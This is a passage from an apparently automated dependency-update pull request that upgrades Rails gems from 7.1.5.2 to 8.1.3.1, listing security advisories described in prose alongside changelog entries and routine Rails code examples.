stop_streamorstop_stream_for. They complement the already existingassert_has_streamandassert_has_stream_formethods.assert_has_no_stream "messages" assert_has_no_stream_for User.find(42)Sebastian Pöll, Junichi Sato
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ actionmailbox (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ actionmailer (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Security Advisories 🚨
🚨 Possible ReDoS vulnerability in block_format in Action Mailer
There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.
Impact
Carefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.
Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.
Releases
The fixed releases are available at the normal locations.
Workarounds
Users can avoid calling the
block_formathelper or upgrade to Ruby 3.2Credits
Thanks to yuki_osaki for the report!
Release Notes
8.0.1 (from changelog)
- No changes.
8.0.0.1 (from changelog)
- No changes.
8.0.0 (from changelog)
- No changes.
7.2.2.1 (from changelog)
- No changes.
7.2.2 (from changelog)
- No changes.
7.2.1.2 (from changelog)
Fix NoMethodError in
block_formathelperMichael Leimstaedtner
7.2.1.1 (from changelog)
Avoid regex backtracking in
block_formathelper
7.2.1 (from changelog)
- No changes.
7.2.0 (from changelog)
Remove deprecated params via
:argsforassert_enqueued_email_with.Rafael Mendonça França
Remove deprecated
config.action_mailer.preview_path.Rafael Mendonça França
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ actionpack (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Security Advisories 🚨
🚨 Rails has a possible XSS vulnerability in its Action Pack debug exceptions
Impact
The debug exceptions page does not properly escape exception messages. A carefully crafted exception message could inject arbitrary HTML and JavaScript into the page, leading to XSS. This affects applications with detailed exception pages enabled (
config.consider_all_requests_local = true), which is the default in development.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher fbettag.
🚨 Possible Content Security Policy bypass in Action Dispatch
There is a possible Cross Site Scripting (XSS) vulnerability in the
content_security_policyhelper in Action Pack.Impact
Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.
Releases
The fixed releases are available at the normal locations.
Workarounds
Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.
Credits
Thanks to ryotak for the report!
🚨 Possible Content Security Policy bypass in Action Dispatch
There is a possible Cross Site Scripting (XSS) vulnerability in the
content_security_policyhelper in Action Pack.Impact
Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.
Releases
The fixed releases are available at the normal locations.
Workarounds
Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.
Credits
Thanks to ryotak for the report!
🚨 Possible ReDoS vulnerability in HTTP Token authentication in Action Controller
There is a possible ReDoS vulnerability in Action Controller's HTTP Token authentication. This vulnerability has been assigned the CVE identifier CVE-2024-47887.
Impact
For applications using HTTP Token authentication via
authenticate_or_request_with_http_tokenor similar, a carefully crafted header may cause header parsing to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.
Releases
The fixed releases are available at the normal locations.
Workarounds
Users on Ruby 3.2 are unaffected by this issue.
Credits
Thanks to scyoon for reporting
🚨 Possible ReDoS vulnerability in query parameter filtering in Action Dispatch
There is a possible ReDoS vulnerability in the query parameter filtering routines of Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2024-41128.
Impact
Carefully crafted query parameters can cause query parameter filtering to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.
Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.
Releases
The fixed releases are available at the normal locations.
Workarounds
Users on Ruby 3.2 are unaffected by this issue.
Credits
Thanks to scyoon for the report and patches!
Release Notes
8.0.1 (from changelog)
Add
ActionDispatch::Request::Session#storemethod to conform Rack spec.Yaroslav
8.0.0.1 (from changelog)
Add validation to content security policies to disallow spaces and semicolons. Developers should use multiple arguments, and different directive methods instead.
Gannon McGibbon
8.0.0 (from changelog)
- No changes.
7.2.2.1 (from changelog)
Add validation to content security policies to disallow spaces and semicolons. Developers should use multiple arguments, and different directive methods instead.
Gannon McGibbon
7.2.2 (from changelog)
Fix non-GET requests not updating cookies in
ActionController::TestCase.Jon Moss, Hartley McGuire
7.2.1.2 (from changelog)
- No changes.
7.2.1.1 (from changelog)
Avoid regex backtracking in HTTP Token authentication
Avoid regex backtracking in query parameter filtering
7.2.1 (from changelog)
Fix
Request#raw_postraisingNoMethodErrorwhenrack.inputisnil.Hartley McGuire
7.2.0 (from changelog)
Allow bots to ignore
allow_browser.Matthew Nguyen
Include the HTTP Permissions-Policy on non-HTML Content-Types [CVE-2024-28103]
Aaron Patterson, Zack Deveau
Fix
Mime::Type.parsehandling type parameters for HTTP Accept headers.Taylor Chaparro
Fix the error page that is displayed when a view template is missing to account for nested controller paths in the suggested correct location for the missing template.
Joshua Young
Add
save_and_open_pagehelper toIntegrationTest.
save_and_open_pageis a helpful helper to keep a short feedback loop when working on system tests. A similar helper with matching signature has been added to integration tests.Joé Dupuis
Fix a regression in 7.1.3 passing a
to:option without a controller when the controller is already defined by a scope.Rails.application.routes.draw do controller :home do get "recent", to: "recent_posts" end endÉtienne Barrié
Request Forgery takes relative paths into account.
Stefan Wienert
Add ".test" as a default allowed host in development to ensure smooth golden-path setup with puma.dev.
DHH
Add
allow_browserto set minimum browser versions for the application.A browser that's blocked will by default be served the file in
public/406-unsupported-browser.htmlwith a HTTP status code of "406 Not Acceptable".class ApplicationController < ActionController::Base
# Allow only browsers natively supporting webp images, web push, badges, import maps, CSS nesting + :has
allow_browser versions: :modern
endclass ApplicationController < ActionController::Base
# All versions of Chrome and Opera will be allowed, but no versions of "internet explorer" (ie). Safari needs to be 16.4+ and Firefox 121+.
allow_browser versions: { safari: 16.4, firefox: 121, ie: false }
endclass MessagesController < ApplicationController
# In addition to the browsers blocked by ApplicationController, also block Opera below 104 and Chrome below 119 for the show action.
allow_browser versions: { opera: 104, chrome: 119 }, only: :show
endDHH
Add rate limiting API.
class SessionsController < ApplicationController
rate_limit to: 10, within: 3.minutes, only: :create
endclass SignupsController < ApplicationController
rate_limit to: 1000, within: 10.seconds,
by: -> { request.domain }, with: -> { redirect_to busy_controller_url, alert: "Too many signups!" }, only: :new
endDHH, Jean Boussier
Add
image/svg+xmlto the compressible content types ofActionDispatch::Static.Georg Ledermann
Add instrumentation for
ActionController::Live#send_stream.Allows subscribing to
send_streamevents. The event payload contains the filename, disposition, and type.Hannah Ramadan
Add support for
with_routingtest helper inActionDispatch::IntegrationTest.Gannon McGibbon
Remove deprecated support to set
Rails.application.config.action_dispatch.show_exceptionstotrueandfalse.Rafael Mendonça França
Remove deprecated
speaker,vibrate, andvrpermissions policy directives.Rafael Mendonça França
Remove deprecated
Rails.application.config.action_dispatch.return_only_request_media_type_on_content_type.Rafael Mendonça França
Deprecate
Rails.application.config.action_controller.allow_deprecated_parameters_hash_equality.Rafael Mendonça França
Remove deprecated comparison between
ActionController::ParametersandHash.Rafael Mendonça França
Remove deprecated constant
AbstractController::Helpers::MissingHelperError.Rafael Mendonça França
Fix a race condition that could cause a
Text file busy - chromedrivererror with parallel system tests.Matt Brictson
Add
raccas a dependency since it will become a bundled gem in Ruby 3.4.0Hartley McGuire
Remove deprecated constant
ActionDispatch::IllegalStateError.Rafael Mendonça França
Add parameter filter capability for redirect locations.
It uses the
config.filter_parametersto match what needs to be filtered. The result would be like this:Redirected to http://secret.foo.bar?username=roque&password=[FILTERED]Fixes #14055.
Roque Pinel, Trevor Turk, tonytonyjan
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ actiontext (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Security Advisories 🚨
🚨 Possible ReDoS vulnerability in plain_text_for_blockquote_node in Action Text
There is a possible ReDoS vulnerability in the plain_text_for_blockquote_node helper in Action Text. This vulnerability has been assigned the CVE identifier CVE-2024-47888.
Impact
Carefully crafted text can cause the plain_text_for_blockquote_node helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.
Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.
Releases
The fixed releases are available at the normal locations.
Workarounds
Users can avoid calling
plain_text_for_blockquote_nodeor upgrade to Ruby 3.2Credits
Thanks to ooooooo_q for the report!
Release Notes
8.0.1 (from changelog)
- No changes.
8.0.0.1 (from changelog)
Update vendored trix version to 2.1.10
John Hawthorn
8.0.0 (from changelog)
- No changes.
7.2.2.1 (from changelog)
Update vendored trix version to 2.1.10
John Hawthorn
7.2.2 (from changelog)
- No changes.
7.2.1.2 (from changelog)
- No changes.
7.2.1.1 (from changelog)
Avoid backtracing in plain_text_for_blockquote_node
7.2.1 (from changelog)
Strip
contentattribute if the key is present but the value is emptyJeremy Green
7.2.0 (from changelog)
Only sanitize
contentattribute when present in attachments.Petrik de Heus
Sanitize ActionText HTML ContentAttachment in Trix edit view [CVE-2024-32464]
Aaron Patterson, Zack Deveau
Use
includesinstead ofeager_loadforwith_all_rich_text.Petrik de Heus
Delegate
ActionText::Content#deconstructtoNokogiri::XML::DocumentFragment#elements.content = ActionText::Content.new <<~HTML
<h1>Hello, world</h1>
<div>The body</div>
HTMLcontent => [h1, div]
assert_pattern { h1 => { content: "Hello, world" } }
assert_pattern { div => { content: "The body" } }Sean Doyle
Fix all Action Text database related models to respect
ActiveRecord::Base.table_name_prefixconfiguration.Chedli Bourguiba
Compile ESM package that can be used directly in the browser as actiontext.esm.js
Matias Grunberg
Fix using actiontext.js with Sprockets.
Matias Grunberg
Upgrade Trix to 2.0.7
Hartley McGuire
Fix using Trix with Sprockets.
Hartley McGuire
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ actionview (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Security Advisories 🚨
🚨 Rails has a possible XSS vulnerability in its Action View tag helpers
Impact
When a blank string is used as an HTML attribute name in Action View tag helpers, the attribute escaping is bypassed, producing malformed HTML. A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected.
Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher taise.
🚨 Rails has a possible XSS vulnerability in its Action View tag helpers
Impact
When a blank string is used as an HTML attribute name in Action View tag helpers, the attribute escaping is bypassed, producing malformed HTML. A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected.
Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher taise.
🚨 Rails has a possible XSS vulnerability in its Action View tag helpers
Impact
When a blank string is used as an HTML attribute name in Action View tag helpers, the attribute escaping is bypassed, producing malformed HTML. A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected.
Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher taise.
Release Notes
8.0.1 (from changelog)
Fix a crash in ERB template error highlighting when the error occurs on a line in the compiled template that is past the end of the source template.
Martin Emde
Improve reliability of ERB template error highlighting. Fix infinite loops and crashes in highlighting and improve tolerance for alternate ERB handlers.
Martin Emde
8.0.0.1 (from changelog)
- No changes.
8.0.0 (from changelog)
- No changes.
7.2.2.1 (from changelog)
- No changes.
7.2.2 (from changelog)
- No changes.
7.2.1.2 (from changelog)
- No changes.
7.2.1.1 (from changelog)
- No changes.
7.2.1 (from changelog)
- No changes.
7.2.0 (from changelog)
Fix templates with strict locals to also include
local_assigns.Previously templates defining strict locals wouldn't receive the
local_assignshash.Jean Boussier
Add queries count to template rendering instrumentation.
# Before
Completed 200 OK in 3804ms (Views: 41.0ms | ActiveRecord: 33.5ms | Allocations: 112788)After
Completed 200 OK in 3804ms (Views: 41.0ms | ActiveRecord: 33.5ms (2 queries, 1 cached) | Allocations: 112788)
fatkodima
Raise
ArgumentErrorif:renderableobject does not respond to#render_in.Sean Doyle
Add the
nonce: trueoption forstylesheet_link_taghelper to support automatic nonce generation for Content Security Policy.Works the same way as
javascript_include_tag nonce: truedoes.Akhil G Krishnan, AJ Esler
Parse
ActionView::TestCase#renderedHTML content asNokogiri::XML::DocumentFragmentinstead ofNokogiri::XML::Document.Sean Doyle
Rename
ActionView::TestCase::Behavior::ContenttoActionView::TestCase::Behavior::RenderedViewContent.Make
RenderedViewContentinherit fromString. Make private API with:nodoc:Sean Doyle
Deprecate passing
nilas value for themodel:argument to theform_withmethod.Collin Jilbert
Alias
field_set_taghelper tofieldset_tagto match<fieldset>element.Sean Doyle
Deprecate passing content to void elements when using
tag.brtype tag builders.Hartley McGuire
Fix the
number_to_human_sizeview helper to correctly work with negative numbers.Earlopain
Automatically discard the implicit locals injected by collection rendering for template that can't accept them.
When rendering a collection, two implicit variables are injected, which breaks templates with strict locals.
Now they are only passed if the template will actually accept them.
Yasha Krasnou, Jean Boussier
Fix
@rails/ujscallingstart()an extra time when using bundlers.Hartley McGuire, Ryunosuke Sato
Fix the
captureview helper compatibility with HAML and Slim.When a blank string was captured in HAML or Slim (and possibly other template engines) it would instead return the entire buffer.
Jean Boussier
Updated
@rails/ujsfiles to ignore certain data-* attributes when element is contenteditable.This fix was already landed in >= 7.0.4.3, < 7.1.0. [CVE-2023-23913]
Ryunosuke Sato
Added validation for HTML tag names in the
tagandcontent_taghelper method.The
tagandcontent_tagmethod now checks that the provided tag name adheres to the HTML specification. If an invalid HTML tag name is provided, the method raises anArgumentErrorwith an appropriate error message.Examples:
# Raises ArgumentError: Invalid HTML5 tag name: 12p
content_tag("12p") # Starting with a number# Raises ArgumentError: Invalid HTML5 tag name: ""
content_tag("") # Empty tag name# Raises ArgumentError: Invalid HTML5 tag name: div/
tag("div/") # Contains a solidus# Raises ArgumentError: Invalid HTML5 tag name: "image file"
tag("image file") # Contains a spaceAkhil G Krishnan
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ activejob (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Release Notes
8.0.1 (from changelog)
Avoid crashing in Active Job logger when logging enqueueing errors
ActiveJob.perform_all_latercould fail with aTypeErrorwhen all provided jobs failed to be enqueueed.Efstathios Stivaros
8.0.0.1 (from changelog)
- No changes.
8.0.0 (from changelog)
- No changes.
7.2.2.1 (from changelog)
- No changes.
7.2.2 (from changelog)
- No changes.
7.2.1.2 (from changelog)
- No changes.
7.2.1.1 (from changelog)
- No changes.
7.2.1 (from changelog)
- No changes.
7.2.0 (from changelog)
All tests now respect the
active_job.queue_adapterconfig.Previously if you had set
config.active_job.queue_adapterin yourconfig/application.rborconfig/environments/test.rbfile, the adapter you selected was previously not used consistently across all tests. In some tests your adapter would be used, but other tests would use theTestAdapter.In Rails 7.2, all tests will respect the
queue_adapterconfig if provided. If no config is provided, theTestAdapterwill continue to be used.See #48585 for more details.
Alex Ghiculescu
Make Active Job transaction aware when used conjointly with Active Record.
A common mistake with Active Job is to enqueue jobs from inside a transaction, causing them to potentially be picked and ran by another process, before the transaction is committed, which may result in various errors.
Topic.transaction do topic = Topic.create(...) NewTopicNotificationJob.perform_later(topic) endNow Active Job will automatically defer the enqueuing to after the transaction is committed, and drop the job if the transaction is rolled back.
Various queue implementations can choose to disable this behavior, and users can disable it, or force it on a per job basis:
class NewTopicNotificationJob < ApplicationJob self.enqueue_after_transaction_commit = :never # or `:always` or `:default` endJean Boussier, Cristian Bica
Do not trigger immediate loading of
ActiveJob::Basewhen loadingActiveJob::TestHelper.Maxime Réty
Preserve the serialized timezone when deserializing
ActiveSupport::TimeWithZonearguments.Joshua Young
Remove deprecated
:exponentially_longervalue for the:waitinretry_on.Rafael Mendonça França
Remove deprecated support to set numeric values to
scheduled_atattribute.Rafael Mendonça França
Deprecate
Rails.application.config.active_job.use_big_decimal_serialize.Rafael Mendonça França
Remove deprecated primitive serializer for
BigDecimalarguments.Rafael Mendonça França
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ activemodel (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Release Notes
8.0.1 (from changelog)
- No changes.
8.0.0.1 (from changelog)
- No changes.
8.0.0 (from changelog)
- No changes.
7.2.2.1 (from changelog)
- No changes.
7.2.2 (from changelog)
Fix regression in
alias_attributeto work with user defined methods.
alias_attributewould wrongly assume the attribute accessor was generated by Active Model.class Person
include ActiveModel::AttributeMethodsdefine_attribute_methods :name
attr_accessor :namealias_attribute :full_name, :name
endperson.full_name # => NoMethodError: undefined method `attribute' for an instance of Person
Jean Boussier
7.2.1.2 (from changelog)
- No changes.
7.2.1.1 (from changelog)
- No changes.
7.2.1 (from changelog)
- No changes.
7.2.0 (from changelog)
Fix a bug where type casting of string to
TimeandDateTimedoesn't calculate minus minute value in TZ offset correctly.Akira Matsuda
Port the
type_for_attributemethod to Active Model. Classes that includeActiveModel::Attributeswill now provide this method. This method behaves the same for Active Model as it does for Active Record.class MyModel
include ActiveModel::Attributesattribute :my_attribute, :integer
endMyModel.type_for_attribute(:my_attribute) # => #<ActiveModel::Type::Integer ...>
Jonathan Hefner
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ activerecord (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Security Advisories 🚨
🚨 Active Record logging vulnerable to ANSI escape injection
This vulnerability has been assigned the CVE identifier CVE-2025-55193
Impact
The ID passed to
findor similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.Releases
The fixed releases are available at the normal locations.
Credits
Thanks to lio346 from Unit 515 of OPSWAT for reporting this vulnerability
🚨 Active Record logging vulnerable to ANSI escape injection
This vulnerability has been assigned the CVE identifier CVE-2025-55193
Impact
The ID passed to
findor similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.Releases
The fixed releases are available at the normal locations.
Credits
Thanks to lio346 from Unit 515 of OPSWAT for reporting this vulnerability
Release Notes
8.0.1 (from changelog)
Fix removing foreign keys with :restrict action for MySQ
fatkodima
Fix a race condition in
ActiveRecord::Base#method_missingwhen lazily defining attributes.If multiple thread were concurrently triggering attribute definition on the same model, it could result in a
NoMethodErrorbeing raised.Jean Boussier
Fix MySQL default functions getting dropped when changing a column's nullability.
Bastian Bartmann
Fix
add_unique_constraint/add_check_constraint/add_foreign_keyto be revertible when given invalid options.fatkodima
Fix asynchronous destroying of polymorphic
belongs_toassociations.fatkodima
Fix
insert_allto not update existing records.fatkodima
NOT VALIDconstraints should not dump increate_table.Ryuta Kamizono
Fix finding by nil composite primary key association.
fatkodima
Properly reset composite primary key configuration when setting a primary key.
fatkodima
Fix Mysql2Adapter support for prepared statements
Using prepared statements with MySQL could result in a
NoMethodErrorexception.Jean Boussier, Leo Arnold, zzak
Fix parsing of SQLite foreign key names when they contain non-ASCII characters
Zacharias Knudsen
Fix parsing of MySQL 8.0.16+ CHECK constraints when they contain new lines.
Steve Hill
Ensure normalized attribute queries use
IS NULLconsistently forniland normalizednilvalues.Joshua Young
Fix
sumwhen performing a grouped calculation.
User.group(:friendly).sumno longer worked. This is fixed.Edouard Chin
Restore back the ability to pass only database name to
DATABASE_URL.fatkodima
8.0.0.1 (from changelog)
- No changes.
8.0.0 (from changelog)
Fix support for
query_cache: falseindatabase.yml.
query_cache: falsewould no longer entirely disable the Active Record query cache.zzak
7.2.2.1 (from changelog)
- No changes.
7.2.2 (from changelog)
Fix support for
query_cache: falseindatabase.yml.
query_cache: falsewould no longer entirely disable the Active Record query cache.zzak
Set
.attributes_for_inspectto:allby default.For new applications it is set to
[:id]in config/environment/production.rb.In the console all the attributes are always shown.
Andrew Novoselac
PG::UnableToSend: no connection to the serveris now retryable as a connection-related exceptionKazuma Watanabe
Fix marshalling of unsaved associated records in 7.1 format.
The 7.1 format would only marshal associated records if the association was loaded. But associations that would only contain unsaved records would be skipped.
Jean Boussier
Fix incorrect SQL query when passing an empty hash to
ActiveRecord::Base.insert.David Stosik
Allow to save records with polymorphic join tables that have
inverse_ofspecified.Markus Doits
Fix association scopes applying on the incorrect join when using a polymorphic
has_many through:.Joshua Young
Fix
dependent: :destroyfor bi-directional has one through association.Fixes #50948.
class Left < ActiveRecord::Base
has_one :middle, dependent: :destroy
has_one :right, through: :middle
endclass Middle < ActiveRecord::Base
belongs_to :left, dependent: :destroy
belongs_to :right, dependent: :destroy
endclass Right < ActiveRecord::Base
has_one :middle, dependent: :destroy
has_one :left, through: :middle
endIn the above example
left.destroywouldn't destroy its associatedRightrecord.Andy Stewart
Properly handle lazily pinned connection pools.
Fixes #53147.
When using transactional fixtures with system tests to similar tools such as capybara, it could happen that a connection end up pinned by the server thread rather than the test thread, causing
"Cannot expire connection, it is owned by a different thread"errors.Jean Boussier
Fix
ActiveRecord::Base.withto accept more than two sub queries.Fixes #53110.
User.with(foo: [User.select(:id), User.select(:id), User.select(:id)]).to_sql undefined method `union' for an instance of Arel::Nodes::UnionAll (NoMethodError)The above now works as expected.
fatkodima
Properly release pinned connections with non joinable connections.
Fixes #52973
When running system tests with transactional fixtures on, it could happen that the connection leased by the Puma thread wouldn't be properly released back to the pool, causing "Cannot expire connection, it is owned by a different thread" errors in later tests.
Jean Boussier
Make Float distinguish between
float4andfloat8in PostgreSQL.Fixes #52742
Ryota Kitazawa, Takayuki Nagatomi
Fix an issue where
.left_outer_joinsused with multiple associations that have the same child association but different parents does not join all parents.Previously, using
.left_outer_joinswith the same child association would only join one of the parents.Now it will correctly join both parents.
Fixes #41498.
Garrett Blehm
Ensure
ActiveRecord::Encryption.configis always ready before access.Previously,
ActiveRecord::Encryptionconfiguration was deferred untilActiveRecord::Basewas loaded. Therefore, accessingActiveRecord::Encryption.configproperties beforeActiveRecord::Basewas loaded would give incorrect results.
ActiveRecord::Encryptionnow has its own loading hook so that its configuration is set as soon as needed.When
ActiveRecord::Baseis loaded, even lazily, it in turn triggers the loading ofActiveRecord::Encryption, thus preserving the original behavior of having its config ready before any use ofActiveRecord::Base.Maxime Réty
Add
TimeZoneConverter#==method, so objects will be properly compared by their type, scale, limit & precision.Address #52699.
Ruy Rocha
7.2.1.2 (from changelog)
- No changes.
7.2.1.1 (from changelog)
- No changes.
7.2.1 (from changelog)
Fix detection for
enumcolumns with parallelized tests and PostgreSQL.Rafael Mendonça França
Allow to eager load nested nil associations.
fatkodima
Fix swallowing ignore order warning when batching using
BatchEnumerator.fatkodima
Fix memory bloat on the connection pool when using the Fiber
IsolatedExecutionState.Jean Boussier
Restore inferred association class with the same modularized name.
Justin Ko
Fix
ActiveRecord::Base.inspectto properly explain how to load schema information.Jean Boussier
Check invalid
enumoptions for the new syntax.The options using
_prefix in the old syntax are invalid in the new syntax.Rafael Mendonça França
Fix
ActiveRecord::Encryption::EncryptedAttributeType#typeto return actual cast type.Vasiliy Ermolovich
Fix
create_tablewith:auto_incrementoption for MySQL adapter.fatkodima
7.2.0 (from changelog)
Handle commas in Sqlite3 default function definitions.
Stephen Margheim
Fixes
validates_associatedraising an exception when configured with a singular association and havingindex_nested_attribute_errorsenabled.Martin Spickermann
The constant
ActiveRecord::ImmutableRelationhas been deprecated because we want to reserve that name for a stronger sense of "immutable relation". Please useActiveRecord::UnmodifiableRelationinstead.Xavier Noria
Add condensed
#inspectforConnectionPool,AbstractAdapter, andDatabaseConfig.Hartley McGuire
Fixed a memory performance issue in Active Record attribute methods definition.
Jean Boussier
Define the new Active Support notification event
start_transaction.active_record.This event is fired when database transactions or savepoints start, and complements
transaction.active_record, which is emitted when they finish.The payload has the transaction (
:transaction) and the connection (:connection).Xavier Noria
Fix an issue where the IDs reader method did not return expected results for preloaded associations in models using composite primary keys.
Jay Ang
The payload of
sql.active_recordActive Support notifications now has the current transaction in the:transactionkey.Xavier Noria
The payload of
transaction.active_recordActive Support notifications now has the transaction the event is related to in the:transactionkey.Xavier Noria
Define
ActiveRecord::Transaction#uuid, which returns a UUID for the database transaction. This may be helpful when tracing database activity. These UUIDs are generated only on demand.Xavier Noria
Fix inference of association model on nested models with the same demodularized name.
E.g. with the following setup:
class Nested::Post < ApplicationRecord has_one :post, through: :other endBefore,
#postwould infer the model asNested::Post, but now it correctly infersPost.Joshua Young
PostgreSQL
Cidr#change?detects the address prefix change.Taketo Takashima
Change
BatchEnumerator#destroy_allto return the total number of affected rows.Previously, it always returned
nil.fatkodima
Support
touch_allin batches.Post.in_batches.touch_allfatkodima
Add support for
:if_not_existsand:forceoptions tocreate_schema.fatkodima
Fix
index_errorshaving incorrect index in association validation errors.lulalala
Add
index_errors: :nested_attributes_ordermode.This indexes the association validation errors based on the order received by nested attributes setter, and respects the
reject_ifconfiguration. This enables API to provide enough information to the frontend to map the validation errors back to their respective form fields.lulalala
Add
Rails.application.config.active_record.postgresql_adapter_decode_datesto opt out of decoding dates automatically with the postgresql adapter. Defaults to true.Joé Dupuis
Association option
query_constraintsis deprecated in favor offoreign_key.Nikita Vasilevsky
Add
ENV["SKIP_TEST_DATABASE_TRUNCATE"]flag to speed up multi-process test runs on large DBs when all tests run within default transaction.This cuts ~10s from the test run of HEY when run by 24 processes against the 178 tables, since ~4,000 table truncates can then be skipped.
DHH
Added support for recursive common table expressions.
Post.with_recursive( post_and_replies: [ Post.where(id: 42), Post.joins('JOIN post_and_replies ON posts.in_reply_to_id = post_and_replies.id'), ] )Generates the following SQL:
WITH RECURSIVE "post_and_replies" AS ( (SELECT "posts".* FROM "posts" WHERE "posts"."id" = 42) UNION ALL (SELECT "posts".* FROM "posts" JOIN post_and_replies ON posts.in_reply_to_id = post_and_replies.id) ) SELECT "posts".* FROM "posts"ClearlyClaire
validate_constraintcan be called in achange_tableblock.ex:
change_table :products do |t| t.check_constraint "price > discounted_price", name: "price_check", validate: false t.validate_check_constraint "price_check" endCody Cutrer
PostgreSQLAdapternow decodes columns of type date toDateinstead of string.Ex:
ActiveRecord::Base.connection .select_value("select '2024-01-01'::date").class #=> DateJoé Dupuis
Strict loading using
:n_plus_one_onlydoes not eagerly load child associations.With this change, child associations are no longer eagerly loaded, to match intended behavior and to prevent non-deterministic order issues caused by calling methods like
firstorlast. Asfirstandlastdon't cause an N+1 by themselves, calling child associations will no longer raise. Fixes #49473.Before:
person = Person.find(1) person.strict_loading!(mode: :n_plus_one_only) person.posts.first # SELECT * FROM posts WHERE person_id = 1; -- non-deterministic order person.posts.first.firm # raises ActiveRecord::StrictLoadingViolationErrorAfter:
person = Person.find(1) person.strict_loading!(mode: :n_plus_one_only) person.posts.first # this is 1+1, not N+1 # SELECT * FROM posts WHERE person_id = 1 ORDER BY id LIMIT 1; person.posts.first.firm # no longer raisesReid Lynch
Allow
Sqlite3Adapterto usesqlite3gem version2.x.Mike Dalessio
Allow
ActiveRecord::Base#pluckto accept hash values.# Before
Post.joins(:comments).pluck("posts.id", "comments.id", "comments.body")# After
Post.joins(:comments).pluck(posts: [:id], comments: [:id, :body])fatkodima
Raise an
ActiveRecord::ActiveRecordErrorerror when the MySQL database returns an invalid version string.Kevin McPhillips
ActiveRecord::Base.transactionnow yields anActiveRecord::Transactionobject.This allows to register callbacks on it.
Article.transaction do |transaction| article.update(published: true) transaction.after_commit do PublishNotificationMailer.with(article: article).deliver_later end endJean Boussier
Add
ActiveRecord::Base.current_transaction.Returns the current transaction, to allow registering callbacks on it.
Article.current_transaction.after_commit do PublishNotificationMailer.with(article: article).deliver_later endJean Boussier
Add
ActiveRecord.after_all_transactions_commitcallback.Useful for code that may run either inside or outside a transaction and needs to perform work after the state changes have been properly persisted.
def publish_article(article) article.update(published: true) ActiveRecord.after_all_transactions_commit do PublishNotificationMailer.with(article: article).deliver_later end endIn the above example, the block is either executed immediately if called outside of a transaction, or called after the open transaction is committed.
If the transaction is rolled back, the block isn't called.
Jean Boussier
Add the ability to ignore counter cache columns until they are backfilled.
Starting to use counter caches on existing large tables can be troublesome, because the column values must be backfilled separately of the column addition (to not lock the table for too long) and before the use of
:counter_cache(otherwise methods likesize/any?/etc, which use counter caches internally, can produce incorrect results). People usually use database triggers or callbacks on child associations while backfilling before introducing a counter cache configuration to the association.Now, to safely backfill the column, while keeping the column updated with child records added/removed, use:
class Comment < ApplicationRecord belongs_to :post, counter_cache: { active: false } endWhile the counter cache is not "active", the methods like
